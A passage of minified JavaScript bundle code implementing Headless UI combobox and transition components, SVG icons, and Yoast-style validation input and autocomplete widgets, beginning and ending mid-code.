Re(e,t,n){if(Array.isArray(n))for(let[a,r]of n.entries())Re(e,xe(t,a.toString()),r);else n instanceof Date?e.push([t,n.toISOString()]):"boolean"==typeof n?e.push([t,n?"1":"0"]):"string"==typeof n?e.push([t,n]):"number"==typeof n?e.push([t,`${n}`]):null==n?e.push([t,""]):Ee(n,t,e)}var we=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))(we||{});let Te=ve((function(e,t){let{features:n=1,...a}=e;return fe({ourProps:{ref:t,"aria-hidden":2==(2&n)||void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...4==(4&n)&&2!=(2&n)&&{display:"none"}}},theirProps:a,slot:{},defaultTag:"div",name:"Hidden"})})),Oe=(0,i.createContext)(null);Oe.displayName="OpenClosedContext";var Ce=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Ce||{});function Se(){return(0,i.useContext)(Oe)}function ke({value:e,children:t}){return i.createElement(Oe.Provider,{value:e},t)}var Pe=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(Pe||{});function _e(e,t,n){let[a,r]=(0,i.useState)(n),s=void 0!==e,o=(0,i.useRef)(s),l=(0,i.useRef)(!1),c=(0,i.useRef)(!1);return!s||o.current||l.current?!s&&o.current&&!c.current&&(c.current=!0,o.current=s,console.error("A component is changing from controlled to uncontrolled. This may be caused by the value changing from a defined value to undefined, which should not happen.")):(l.current=!0,o.current=s,console.error("A component is changing from uncontrolled to controlled. This may be caused by the value changing from undefined to a defined value, which should not happen.")),[s?e:a,q((e=>(s||r(e),null==t?void 0:t(e))))]}function Le(e,t){let n=(0,i.useRef)([]),a=q(e);(0,i.useEffect)((()=>{let e=[...n.current];for(let[r,s]of t.entries())if(n.current[r]!==s){let r=a(t,e);return n.current=t,r}}),[a,...t])}function Ie(e){return[e.screenX,e.screenY]}function Fe(){let e=(0,i.useRef)([-1,-1]);return{wasMoved(t){let n=Ie(t);return(e.current[0]!==n[0]||e.current[1]!==n[1])&&(e.current=n,!0)},update(t){e.current=Ie(t)}}}var De=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(De||{}),Me=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(Me||{}),qe=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(qe||{}),Ae=(e=>(e[e.OpenCombobox=0]="OpenCombobox",e[e.CloseCombobox=1]="CloseCombobox",e[e.GoToOption=2]="GoToOption",e[e.RegisterOption=3]="RegisterOption",e[e.UnregisterOption=4]="UnregisterOption",e[e.RegisterLabel=5]="RegisterLabel",e))(Ae||{});function je(e,t=(e=>e)){let n=null!==e.activeOptionIndex?e.options[e.activeOptionIndex]:null,a=J(t(e.options.slice()),(e=>e.dataRef.current.domRef.current)),r=n?a.indexOf(n):null;return-1===r&&(r=null),{options:a,activeOptionIndex:r}}let Be={1:e=>e.dataRef.current.disabled||1===e.comboboxState?e:{...e,activeOptionIndex:null,comboboxState:1},0(e){if(e.dataRef.current.disabled||0===e.comboboxState)return e;let t=e.activeOptionIndex,{isSelected:n}=e.dataRef.current,a=e.options.findIndex((e=>n(e.dataRef.current.value)));return-1!==a&&(t=a),{...e,comboboxState:0,activeOptionIndex:t}},2(e,t){var n;if(e.dataRef.current.disabled||e.dataRef.current.optionsRef.current&&!e.dataRef.current.optionsPropsRef.current.static&&1===e.comboboxState)return e;let a=je(e);if(null===a.activeOptionIndex){let e=a.options.findIndex((e=>!e.dataRef.current.disabled));-1!==e&&(a.activeOptionIndex=e)}let r=ce(t,{resolveItems:()=>a.options,resolveActiveIndex:()=>a.activeOptionIndex,resolveId:e=>e.id,resolveDisabled:e=>e.dataRef.current.disabled});return{...e,...a,activeOptionIndex:r,activationTrigger:null!=(n=t.trigger)?n:1}},3:(e,t)=>{let n={id:t.id,dataRef:t.dataRef},a=je(e,(e=>[...e,n]));null===e.activeOptionIndex&&e.dataRef.current.isSelected(t.dataRef.current.value)&&(a.activeOptionIndex=a.options.indexOf(n));let r={...e,...a,activationTrigger:1};return e.dataRef.current.__demoMode&&void 0===e.dataRef.current.value&&(r.activeOptionIndex=0),r},4:(e,t)=>{let n=je(e,(e=>{let n=e.findIndex((e=>e.id===t.id));return-1!==n&&e.splice(n,1),e}));return{...e,...n,activationTrigger:1}},5:(e,t)=>({...e,labelId:t.id})},He=(0,i.createContext)(null);function ze(e){let t=(0,i.useContext)(He);if(null===t){let t=new Error(`<${e} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,ze),t}return t}He.displayName="ComboboxActionsContext";let $e=(0,i.createContext)(null);function Ve(e){let t=(0,i.useContext)($e);if(null===t){let t=new Error(`<${e} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,Ve),t}return t}function Ue(e,t){return H(t.type,Be,e,t)}$e.displayName="ComboboxDataContext";let We=i.Fragment,Ke=ve((function(e,t){let{value:n,defaultValue:a,onChange:r,name:s,by:o=((e,t)=>e===t),disabled:l=!1,__demoMode:c=!1,nullable:d=!1,multiple:u=!1,...p}=e,[m=(u?[]:void 0),f]=_e(n,r,a),[y,b]=(0,i.useReducer)(Ue,{dataRef:(0,i.createRef)(),comboboxState:c?0:1,options:[],activeOptionIndex:null,activationTrigger:1,labelId:null}),v=(0,i.useRef)(!1),g=(0,i.useRef)({static:!1,hold:!1}),h=(0,i.useRef)(null),N=(0,i.useRef)(null),E=(0,i.useRef)(null),x=(0,i.useRef)(null),R=q("string"==typeof o?(e,t)=>{let n=o;return(null==e?void 0:e[n])===(null==t?void 0:t[n])}:o),w=(0,i.useCallback)((e=>H(T.mode,{1:()=>m.some((t=>R(t,e))),0:()=>R(m,e)})),[m]),T=(0,i.useMemo)((()=>({...y,optionsPropsRef:g,labelRef:h,inputRef:N,buttonRef:E,optionsRef:x,value:m,defaultValue:a,disabled:l,mode:u?1:0,get activeOptionIndex(){if(v.current&&null===y.activeOptionIndex&&y.options.length>0){let e=y.options.findIndex((e=>!e.dataRef.current.disabled));if(-1!==e)return e}return y.activeOptionIndex},compare:R,isSelected:w,nullable:d,__demoMode:c})),[m,a,l,u,d,c,y]);_((()=>{y.dataRef.current=T}),[T]),ne([T.buttonRef,T.inputRef,T.optionsRef],(()=>A.closeCombobox()),0===T.comboboxState);let O=(0,i.useMemo)((()=>({open:0===T.comboboxState,disabled:l,activeIndex:T.activeOptionIndex,activeOption:null===T.activeOptionIndex?null:T.options[T.activeOptionIndex].dataRef.current.value,value:m})),[T,l,m]),C=q((e=>{let t=T.options.find((t=>t.id===e));!t||D(t.dataRef.current.value)})),S=q((()=>{if(null!==T.activeOptionIndex){let{dataRef:e,id:t}=T.options[T.activeOptionIndex];D(e.current.value),A.goToOption(le.Specific,t)}})),k=q((()=>{b({type:0}),v.current=!0})),P=q((()=>{b({type:1}),v.current=!1})),L=q(((e,t,n)=>(v.current=!1,e===le.Specific?b({type:2,focus:le.Specific,id:t,trigger:n}):b({type:2,focus:e,trigger:n})))),I=q(((e,t)=>(b({type:3,id:e,dataRef:t}),()=>b({type:4,id:e})))),F=q((e=>(b({type:5,id:e}),()=>b({type:5,id:null})))),D=q((e=>H(T.mode,{0:()=>null==f?void 0:f(e),1(){let t=T.value.slice(),n=t.findIndex((t=>R(t,e)));return-1===n?t.push(e):t.splice(n,1),null==f?void 0:f(t)}}))),A=(0,i.useMemo)((()=>({onChange:D,registerOption:I,registerLabel:F,goToOption:L,closeCombobox:P,openCombobox:k,selectActiveOption:S,selectOption:C})),[]),j=null===t?{}:{ref:t},B=(0,i.useRef)(null),z=M();return(0,i.useEffect)((()=>{!B.current||void 0!==a&&z.addEventListener(B.current,"reset",(()=>{D(a)}))}),[B,D]),i.createElement(He.Provider,{value:A},i.createElement($e.Provider,{value:T},i.createElement(ke,{value:H(T.comboboxState,{0:Ce.Open,1:Ce.Closed})},null!=s&&null!=m&&Ee({[s]:m}).map((([e,t],n)=>i.createElement(Te,{features:we.Hidden,ref:0===n?e=>{var t;B.current=null!=(t=null==e?void 0:e.closest("form"))?t:null}:void 0,...ge({key:e,as:"input",type:"hidden",hidden:!0,readOnly:!0,name:e,value:t})}))),fe({ourProps:j,theirProps:p,slot:O,defaultTag:We,name:"Combobox"}))))})),Ge=ve((function(e,t){var n,a,r,s;let o=B(),{id:l=`headlessui-combobox-input-${o}`,onChange:c,displayValue:d,type:u="text",...p}=e,m=Ve("Combobox.Input"),f=ze("Combobox.Input"),y=ie(m.inputRef,t),b=(0,i.useRef)(!1),v=M();var g;Le((([e,t],[n,a])=>{b.current||!m.inputRef.current||(0===a&&1===t||e!==n)&&(m.inputRef.current.value=e)}),["function"==typeof d&&void 0!==m.value?null!=(g=d(m.value))?g:"":"string"==typeof m.value?m.value:"",m.comboboxState]),Le((([e],[t])=>{if(0===e&&1===t){let e=m.inputRef.current;if(!e)return;let t=e.value,{selectionStart:n,selectionEnd:a,selectionDirection:r}=e;e.value="",e.value=t,null!==r?e.setSelectionRange(n,a,r):e.setSelectionRange(n,a)}}),[m.comboboxState]);let h=(0,i.useRef)(!1),N=q((()=>{h.current=!0})),E=q((()=>{setTimeout((()=>{h.current=!1}))})),x=q((e=>{switch(b.current=!0,e.key){case Pe.Backspace:case Pe.Delete:if(0!==m.mode||!m.nullable)return;let t=e.currentTarget;v.requestAnimationFrame((()=>{""===t.value&&(f.onChange(null),m.optionsRef.current&&(m.optionsRef.current.scrollTop=0),f.goToOption(le.Nothing))}));break;case Pe.Enter:if(b.current=!1,0!==m.comboboxState||h.current)return;if(e.preventDefault(),e.stopPropagation(),null===m.activeOptionIndex)return void f.closeCombobox();f.selectActiveOption(),0===m.mode&&f.closeCombobox();break;case Pe.ArrowDown:return b.current=!1,e.preventDefault(),e.stopPropagation(),H(m.comboboxState,{0:()=>{f.goToOption(le.Next)},1:()=>{f.openCombobox()}});case Pe.ArrowUp:return b.current=!1,e.preventDefault(),e.stopPropagation(),H(m.comboboxState,{0:()=>{f.goToOption(le.Previous)},1:()=>{f.openCombobox(),v.nextFrame((()=>{m.value||f.goToOption(le.Last)}))}});case Pe.Home:if(e.shiftKey)break;return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(le.First);case Pe.PageUp:return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(le.First);case Pe.End:if(e.shiftKey)break;return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(le.Last);case Pe.PageDown:return b.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(le.Last);case Pe.Escape:return b.current=!1,0!==m.comboboxState?void 0:(e.preventDefault(),m.optionsRef.current&&!m.optionsPropsRef.current.static&&e.stopPropagation(),f.closeCombobox());case Pe.Tab:if(b.current=!1,0!==m.comboboxState)return;0===m.mode&&f.selectActiveOption(),f.closeCombobox()}})),R=q((e=>{f.openCombobox(),null==c||c(e)})),w=q((()=>{b.current=!1})),T=I((()=>{if(m.labelId)return[m.labelId].join(" ")}),[m.labelId]),O=(0,i.useMemo)((()=>({open:0===m.comboboxState,disabled:m.disabled})),[m]);return fe({ourProps:{ref:y,id:l,role:"combobox",type:u,"aria-controls":null==(n=m.optionsRef.current)?void 0:n.id,"aria-expanded":m.disabled?void 0:0===m.comboboxState,"aria-activedescendant":null===m.activeOptionIndex||null==(a=m.options[m.activeOptionIndex])?void 0:a.id,"aria-multiselectable":1===m.mode||void 0,"aria-labelledby":T,"aria-autocomplete":"list",defaultValue:null!=(s=null!=(r=e.defaultValue)?r:void 0!==m.defaultValue?null==d?void 0:d(m.defaultValue):null)?s:m.defaultValue,disabled:m.disabled,onCompositionStart:N,onCompositionEnd:E,onKeyDown:x,onChange:R,onBlur:w},theirProps:p,slot:O,defaultTag:"input",name:"Combobox.Input"})})),Qe=ve((function(e,t){var n;let a=Ve("Combobox.Button"),r=ze("Combobox.Button"),s=ie(a.buttonRef,t),o=B(),{id:l=`headlessui-combobox-button-${o}`,...c}=e,d=M(),u=q((e=>{switch(e.key){case Pe.ArrowDown:return e.preventDefault(),e.stopPropagation(),1===a.comboboxState&&r.openCombobox(),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case Pe.ArrowUp:return e.preventDefault(),e.stopPropagation(),1===a.comboboxState&&(r.openCombobox(),d.nextFrame((()=>{a.value||r.goToOption(le.Last)}))),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case Pe.Escape:return 0!==a.comboboxState?void 0:(e.preventDefault(),a.optionsRef.current&&!a.optionsPropsRef.current.static&&e.stopPropagation(),r.closeCombobox(),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})})));default:return}})),p=q((e=>{if(Ne(e.currentTarget))return e.preventDefault();0===a.comboboxState?r.closeCombobox():(e.preventDefault(),r.openCombobox()),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}))})),m=I((()=>{if(a.labelId)return[a.labelId,l].join(" ")}),[a.labelId,l]),f=(0,i.useMemo)((()=>({open:0===a.comboboxState,disabled:a.disabled,value:a.value})),[a]);return fe({ourProps:{ref:s,id:l,type:re(e,a.buttonRef),tabIndex:-1,"aria-haspopup":"listbox","aria-controls":null==(n=a.optionsRef.current)?void 0:n.id,"aria-expanded":a.disabled?void 0:0===a.comboboxState,"aria-labelledby":m,disabled:a.disabled,onClick:p,onKeyDown:u},theirProps:c,slot:f,defaultTag:"button",name:"Combobox.Button"})})),Ye=ve((function(e,t){let n=B(),{id:a=`headlessui-combobox-label-${n}`,...r}=e,s=Ve("Combobox.Label"),o=ze("Combobox.Label"),l=ie(s.labelRef,t);_((()=>o.registerLabel(a)),[a]);let c=q((()=>{var e;return null==(e=s.inputRef.current)?void 0:e.focus({preventScroll:!0})})),d=(0,i.useMemo)((()=>({open:0===s.comboboxState,disabled:s.disabled})),[s]);return fe({ourProps:{ref:l,id:a,onClick:c},theirProps:r,slot:d,defaultTag:"label",name:"Combobox.Label"})})),Ze=pe.RenderStrategy|pe.Static,Xe=ve((function(e,t){let n=B(),{id:a=`headlessui-combobox-options-${n}`,hold:r=!1,...s}=e,o=Ve("Combobox.Options"),l=ie(o.optionsRef,t),c=Se(),d=null!==c?c===Ce.Open:0===o.comboboxState;_((()=>{var t;o.optionsPropsRef.current.static=null!=(t=e.static)&&t}),[o.optionsPropsRef,e.static]),_((()=>{o.optionsPropsRef.current.hold=r}),[o.optionsPropsRef,r]),function({container:e,accept:t,walk:n,enabled:a=!0}){let r=(0,i.useRef)(t),s=(0,i.useRef)(n);(0,i.useEffect)((()=>{r.current=t,s.current=n}),[t,n]),_((()=>{if(!e||!a)return;let t=z(e);if(!t)return;let n=r.current,o=s.current,i=Object.assign((e=>n(e)),{acceptNode:n}),l=t.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,i,!1);for(;l.nextNode();)o(l.currentNode)}),[e,a,r,s])}({container:o.optionsRef.current,enabled:0===o.comboboxState,accept:e=>"option"===e.getAttribute("role")?NodeFilter.FILTER_REJECT:e.hasAttribute("role")?NodeFilter.FILTER_SKIP:NodeFilter.FILTER_ACCEPT,walk(e){e.setAttribute("role","none")}});let u=I((()=>{var e,t;return null!=(t=o.labelId)?t:null==(e=o.buttonRef.current)?void 0:e.id}),[o.labelId,o.buttonRef.current]);return fe({ourProps:{"aria-labelledby":u,role:"listbox",id:a,ref:l},theirProps:s,slot:(0,i.useMemo)((()=>({open:0===o.comboboxState})),[o]),defaultTag:"ul",features:Ze,visible:d,name:"Combobox.Options"})})),Je=ve((function(e,t){var n,a;let r=B(),{id:s=`headlessui-combobox-option-${r}`,disabled:o=!1,value:l,...c}=e,d=Ve("Combobox.Option"),u=ze("Combobox.Option"),p=null!==d.activeOptionIndex&&d.options[d.activeOptionIndex].id===s,m=d.isSelected(l),f=(0,i.useRef)(null),y=L({disabled:o,value:l,domRef:f,textValue:null==(a=null==(n=f.current)?void 0:n.textContent)?void 0:a.toLowerCase()}),b=ie(t,f),v=q((()=>u.selectOption(s)));_((()=>u.registerOption(s,y)),[y,s]);let g=(0,i.useRef)(!d.__demoMode);_((()=>{if(!d.__demoMode)return;let e=D();return e.requestAnimationFrame((()=>{g.current=!0})),e.dispose}),[]),_((()=>{if(0!==d.comboboxState||!p||!g.current||0===d.activationTrigger)return;let e=D();return e.requestAnimationFrame((()=>{var e,t;null==(t=null==(e=f.current)?void 0:e.scrollIntoView)||t.call(e,{block:"nearest"})})),e.dispose}),[f,p,d.comboboxState,d.activationTrigger,d.activeOptionIndex]);let h=q((e=>{if(o)return e.preventDefault();v(),0===d.mode&&u.closeCombobox()})),N=q((()=>{if(o)return u.goToOption(le.Nothing);u.goToOption(le.Specific,s)})),E=Fe(),x=q((e=>E.update(e))),R=q((e=>{!E.wasMoved(e)||o||p||u.goToOption(le.Specific,s,0)})),w=q((e=>{!E.wasMoved(e)||o||!p||d.optionsPropsRef.current.hold||u.goToOption(le.Nothing)})),T=(0,i.useMemo)((()=>({active:p,selected:m,disabled:o})),[p,m,o]);return fe({ourProps:{id:s,ref:b,role:"option",tabIndex:!0===o?void 0:-1,"aria-disabled":!0===o||void 0,"aria-selected":m,disabled:void 0,onClick:h,onFocus:N,onPointerEnter:x,onMouseEnter:x,onPointerMove:R,onMouseMove:R,onPointerLeave:w,onMouseLeave:w},theirProps:c,slot:T,defaultTag:"li",name:"Combobox.Option"})})),et=Object.assign(Ke,{Input:Ge,Button:Qe,Label:Ye,Options:Xe,Option:Je});function tt(){let e=(0,i.useRef)(!1);return _((()=>(e.current=!0,()=>{e.current=!1})),[]),e}function nt(e,...t){e&&t.length>0&&e.classList.add(...t)}function at(e,...t){e&&t.length>0&&e.classList.remove(...t)}function rt(e=""){return e.split(" ").filter((e=>e.trim().length>1))}let st=(0,i.createContext)(null);st.displayName="TransitionContext";var ot=(e=>(e.Visible="visible",e.Hidden="hidden",e))(ot||{});let it=(0,i.createContext)(null);function lt(e){return"children"in e?lt(e.children):e.current.filter((({el:e})=>null!==e.current)).filter((({state:e})=>"visible"===e)).length>0}function ct(e,t){let n=L(e),a=(0,i.useRef)([]),r=tt(),s=M(),o=q(((e,t=me.Hidden)=>{let o=a.current.findIndex((({el:t})=>t===e));-1!==o&&(H(t,{[me.Unmount](){a.current.splice(o,1)},[me.Hidden](){a.current[o].state="hidden"}}),s.microTask((()=>{var e;!lt(a)&&r.current&&(null==(e=n.current)||e.call(n))})))})),l=q((e=>{let t=a.current.find((({el:t})=>t===e));return t?"visible"!==t.state&&(t.state="visible"):a.current.push({el:e,state:"visible"}),()=>o(e,me.Unmount)})),c=(0,i.useRef)([]),d=(0,i.useRef)(Promise.resolve()),u=(0,i.useRef)({enter:[],leave:[],idle:[]}),p=q(((e,n,a)=>{c.current.splice(0),t&&(t.chains.current[n]=t.chains.current[n].filter((([t])=>t!==e))),null==t||t.chains.current[n].push([e,new Promise((e=>{c.current.push(e)}))]),null==t||t.chains.current[n].push([e,new Promise((e=>{Promise.all(u.current[n].map((([e,t])=>t))).then((()=>e()))}))]),"enter"===n?d.current=d.current.then((()=>null==t?void 0:t.wait.current)).then((()=>a(n))):a(n)})),m=q(((e,t,n)=>{Promise.all(u.current[t].splice(0).map((([e,t])=>t))).then((()=>{var e;null==(e=c.current.shift())||e()})).then((()=>n(t)))}));return(0,i.useMemo)((()=>({children:a,register:l,unregister:o,onStart:p,onStop:m,wait:d,chains:u})),[l,o,a,p,m,u,d])}function dt(){}it.displayName="NestingContext";let ut=["beforeEnter","afterEnter","beforeLeave","afterLeave"];function pt(e){var t;let n={};for(let a of ut)n[a]=null!=(t=e[a])?t:dt;return n}let mt=pe.RenderStrategy,ft=ve((function(e,t){let{beforeEnter:n,afterEnter:a,beforeLeave:r,afterLeave:s,enter:o,enterFrom:l,enterTo:c,entered:d,leave:u,leaveFrom:p,leaveTo:m,...f}=e,y=(0,i.useRef)(null),b=ie(y,t),v=f.unmount?me.Unmount:me.Hidden,{show:g,appear:h,initial:N}=function(){let e=(0,i.useContext)(st);if(null===e)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return e}(),[E,x]=(0,i.useState)(g?"visible":"hidden"),R=function(){let e=(0,i.useContext)(it);if(null===e)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return e}(),{register:w,unregister:T}=R,O=(0,i.useRef)(null);(0,i.useEffect)((()=>w(y)),[w,y]),(0,i.useEffect)((()=>{if(v===me.Hidden&&y.current)return g&&"visible"!==E?void x("visible"):H(E,{hidden:()=>T(y),visible:()=>w(y)})}),[E,y,w,T,g,v]);let C=L({enter:rt(o),enterFrom:rt(l),enterTo:rt(c),entered:rt(d),leave:rt(u),leaveFrom:rt(p),leaveTo:rt(m)}),S=function(e){let t=(0,i.useRef)(pt(e));return(0,i.useEffect)((()=>{t.current=pt(e)}),[e]),t}({beforeEnter:n,afterEnter:a,beforeLeave:r,afterLeave:s}),k=A();(0,i.useEffect)((()=>{if(k&&"visible"===E&&null===y.current)throw new Error("Did you forget to passthrough the `ref` to the actual DOM node?")}),[y,E,k]);let I=N&&!h,F=!k||I||O.current===g?"idle":g?"enter":"leave",j=q((e=>H(e,{enter:()=>S.current.beforeEnter(),leave:()=>S.current.beforeLeave(),idle:()=>{}}))),B=q((e=>H(e,{enter:()=>S.current.afterEnter(),leave:()=>S.current.afterLeave(),idle:()=>{}}))),z=ct((()=>{x("hidden"),T(y)}),R);(function({container:e,direction:t,classes:n,onStart:a,onStop:r}){let s=tt(),o=M(),i=L(t);_((()=>{let t=D();o.add(t.dispose);let l=e.current;if(l&&"idle"!==i.current&&s.current)return t.dispose(),a.current(i.current),t.add(function(e,t,n,a){let r=n?"enter":"leave",s=D(),o=void 0!==a?function(e){let t={called:!1};return(...n)=>{if(!t.called)return t.called=!0,e(...n)}}(a):()=>{};"enter"===r&&(e.removeAttribute("hidden"),e.style.display="");let i=H(r,{enter:()=>t.enter,leave:()=>t.leave}),l=H(r,{enter:()=>t.enterTo,leave:()=>t.leaveTo}),c=H(r,{enter:()=>t.enterFrom,leave:()=>t.leaveFrom});return at(e,...t.enter,...t.enterTo,...t.enterFrom,...t.leave,...t.leaveFrom,...t.leaveTo,...t.entered),nt(e,...i,...c),s.nextFrame((()=>{at(e,...c),nt(e,...l),function(e,t){let n=D();if(!e)return n.dispose;let{transitionDuration:a,transitionDelay:r}=getComputedStyle(e),[s,o]=[a,r].map((e=>{let[t=0]=e.split(",").filter(Boolean).map((e=>e.includes("ms")?parseFloat(e):1e3*parseFloat(e))).sort(((e,t)=>t-e));return t}));if(s+o!==0){let a=n.addEventListener(e,"transitionend",(e=>{e.target===e.currentTarget&&(t(),a())}))}else t();n.add((()=>t())),n.dispose}(e,(()=>(at(e,...i),nt(e,...t.entered),o())))})),s.dispose}(l,n.current,"enter"===i.current,(()=>{t.dispose(),r.current(i.current)}))),t.dispose}),[t])})({container:y,classes:C,direction:F,onStart:L((e=>{z.onStart(y,e,j)})),onStop:L((e=>{z.onStop(y,e,B),"leave"===e&&!lt(z)&&(x("hidden"),T(y))}))}),(0,i.useEffect)((()=>{!I||(v===me.Hidden?O.current=null:O.current=g)}),[g,I,E]);let $=f,V={ref:b};return h&&g&&P.isServer&&($={...$,className:de(f.className,...C.current.enter,...C.current.enterFrom)}),i.createElement(it.Provider,{value:z},i.createElement(ke,{value:H(E,{visible:Ce.Open,hidden:Ce.Closed})},fe({ourProps:V,theirProps:$,defaultTag:"div",features:mt,visible:"visible"===E,name:"Transition.Child"})))})),yt=ve((function(e,t){let{show:n,appear:a=!1,unmount:r,...s}=e,o=(0,i.useRef)(null),l=ie(o,t);A();let c=Se();if(void 0===n&&null!==c&&(n=H(c,{[Ce.Open]:!0,[Ce.Closed]:!1})),![!0,!1].includes(n))throw new Error("A <Transition /> is used but it is missing a `show={true | false}` prop.");let[d,u]=(0,i.useState)(n?"visible":"hidden"),p=ct((()=>{u("hidden")})),[m,f]=(0,i.useState)(!0),y=(0,i.useRef)([n]);_((()=>{!1!==m&&y.current[y.current.length-1]!==n&&(y.current.push(n),f(!1))}),[y,n]);let b=(0,i.useMemo)((()=>({show:n,appear:a,initial:m})),[n,a,m]);(0,i.useEffect)((()=>{if(n)u("visible");else if(lt(p)){let e=o.current;if(!e)return;let t=e.getBoundingClientRect();0===t.x&&0===t.y&&0===t.width&&0===t.height&&u("hidden")}else u("hidden")}),[n,p]);let v={unmount:r};return i.createElement(it.Provider,{value:p},i.createElement(st.Provider,{value:b},fe({ourProps:{...v,as:i.Fragment,children:i.createElement(ft,{ref:l,...v,...s})},theirProps:{},defaultTag:i.Fragment,features:mt,visible:"visible"===d,name:"Transition"})))})),bt=ve((function(e,t){let n=null!==(0,i.useContext)(st),a=null!==Se();return i.createElement(i.Fragment,null,!n&&a?i.createElement(yt,{ref:t,...e}):i.createElement(ft,{ref:t,...e}))})),vt=Object.assign(yt,{Child:bt,Root:yt});const gt=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"}))})),ht=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z",clipRule:"evenodd"}))})),Nt=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M10 3a1 1 0 01.707.293l3 3a1 1 0 01-1.414 1.414L10 5.414 7.707 7.707a1 1 0 01-1.414-1.414l3-3A1 1 0 0110 3zm-3.707 9.293a1 1 0 011.414 0L10 14.586l2.293-2.293a1 1 0 011.414 1.414l-3 3a1 1 0 01-1.414 0l-3-3a1 1 0 010-1.414z",clipRule:"evenodd"}))})),Et={variant:{success:"yst-validation-input--success",warning:"yst-validation-input--warning",info:"yst-validation-input--info",error:"yst-validation-input--error"}},xt=(0,i.forwardRef)((({as:t,validation:n={},className:a="",...s},o)=>l().createElement("div",{className:r()("yst-validation-input",(null==n?void 0:n.message)&&Et.variant[null==n?void 0:n.variant])},l().createElement(t,e({ref:o},s,{className:r()("yst-validation-input__input",a)})),(null==n?void 0:n.message)&&l().createElement(h,{variant:null==n?void 0:n.variant,className:"yst-validation-input__icon"}))));xt.displayName="ValidationInput",xt.propTypes={as:o().elementType.isRequired,validation:o().shape({variant:o().string,message:o().node}),className:o().string},xt.defaultProps={validation:{},className:""};const Rt=xt,wt=(0,i.forwardRef)(((t,n)=>l().createElement(et.Button,e({as:"div",ref:n},t))));wt.displayName="AutocompleteButton";const Tt=({children:t,value:n})=>{const a=d(),s=(0,i.useCallback)((({active:e,selected:t})=>r()("yst-autocomplete__option",t&&"yst-autocomplete__option--selected",e&&!t&&"yst-autocomplete__option--active")),[]);return l().createElement(et.Option,{className:s,value:n},(({selected:n})=>l().createElement(l().Fragment,null,l().createElement("span",{className:r()("yst-autocomplete__option-label",n&&"yst-font-semibold")},t),n&&l().createElement(ht,e({className:"yst-autocomplete__option-check"},a)))))},Ot={children:o().node,value:o().oneOfType([o().string,o().number,o().bool]).isRequired};Tt.propTypes=Ot;const Ct=({onChange:t,svgAriaProps:n,screenReaderText:a})=>{const r=(0,i.useCallback)((e=>{e.preventDefault(),t(null)}),[t]);return l().createElement("button",{type:"button",className:"yst-mr-4 yst-flex yst-items-center",onClick:r},l().createElement("span",{className:"yst-sr-only"},a),l().createElement(gt,e({className:"yst-text-slate-400 yst-w-5 yst-h-5"},n)),l().createElement("div",{className:"yst-w-2 yst-mr-2 yst-border-r-slate-200 yst-border-r yst-h-7"}))};Ct.propTypes={onChange:o().func.isRequired,svgAriaProps:o().object.isRequired,screenReaderText:o().string.isRequired};const St=(0,i.forwardRef)((({id:t,value:n,children:a,selectedLabel:s,label:o,labelProps:u,labelSuffix:p,onChange:m,onQueryChange:f,validation:y,placeholder:b,className:v,buttonProps:g,clearButtonScreenReaderText:h,disabled:N,...E},x)=>{const R=(0,i.useCallback)((0,c.constant)(s),[s]),w=d();return l().createElement(et,e({ref:x,as:"div",value:n,onChange:m,className:r()("yst-autocomplete",N&&"yst-autocomplete--disabled",v),disabled:N},E),o&&l().createElement("div",{className:"yst-flex yst-items-center 